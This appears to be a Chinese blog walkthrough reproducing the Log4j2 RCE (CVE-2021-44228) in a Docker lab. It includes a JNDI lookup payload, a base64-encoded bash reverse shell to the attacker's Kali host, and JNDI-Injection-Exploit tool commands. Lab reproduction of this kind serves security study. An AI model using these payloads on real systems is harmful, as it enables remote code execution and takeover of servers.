天天看點

CVE-2021-44228——Log4j2-RCE漏洞複現

0x00 漏洞介紹

Apache Log4j2是一個Java的日志元件,在特定的版本中由于其啟用了lookup功能,進而導緻産生遠端代碼執行漏洞。

影響版本:Apache Log4j2 2.0-beta9 - 2.15.0(不包括安全版本 2.12.2、2.12.3 和 2.3.1)

漏洞編号:CVE-2021-44228

0x01 環境準備

測試環境 IP
Kali 192.168.100.100
靶機 192.168.100.101

0x02 靶場搭建

使用docker搭建vulfocus的漏洞靶場:

docker pull vulfocus/log4j2-rce-2021-12-09:latest
docker run -d -p 80:8080 vulfocus/log4j2-rce-2021-12-09:latest
           

浏覽器通路

http://192.168.100.101

,部署成功:

CVE-2021-44228——Log4j2-RCE漏洞複現

0x03 DNSLog驗證

通過DNSLog平台擷取到域名

ky28eo.dnslog.cnn

,構造payload:

${jndi:ldap://ky28eo.dnslog.cn}

,浏覽器點選?????并使用Burpsuite進行抓包并替換payload參數,此時若直接發包會導緻伺服器400錯誤:

CVE-2021-44228——Log4j2-RCE漏洞複現

通過Burpsuite自帶的編碼工具對其進行URL編碼:

CVE-2021-44228——Log4j2-RCE漏洞複現

編碼後再次發送請求包:

CVE-2021-44228——Log4j2-RCE漏洞複現

在DNSLog網站成功接收到解析記錄:

CVE-2021-44228——Log4j2-RCE漏洞複現

0x04 JNDI注入反彈shell

使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar進行漏洞利用:

下載下傳位址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
           

使用方式:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
           

反彈shell指令:

bash -i >& /dev/tcp/ip/port 0>&1
           

此處kali的ip為192.168.100.100,port可使用任意未被占用的端口,此處指定為4444:

bash -i >& /dev/tcp/192.168.100.100/4444 0>&1
           

将此條指令進行Java Runtime Bash 編碼:

編碼位址:https://www.jackson-t.ca/runtime-exec-payloads.html
           

編碼後的指令通過-C參數輸入JNDI工具,通過通過-A參數指定kali的ip位址:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMDAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.100.100
           
CVE-2021-44228——Log4j2-RCE漏洞複現

在新的視窗監聽4444端口:

CVE-2021-44228——Log4j2-RCE漏洞複現

替換工具生成的payload:

rmi://192.168.100.100:1099/ymo5o3

到Burpsuite:

CVE-2021-44228——Log4j2-RCE漏洞複現
CVE-2021-44228——Log4j2-RCE漏洞複現

編碼後發送到靶機:

CVE-2021-44228——Log4j2-RCE漏洞複現

kali的監聽視窗成功接收到反彈的shell:

CVE-2021-44228——Log4j2-RCE漏洞複現

繼續閱讀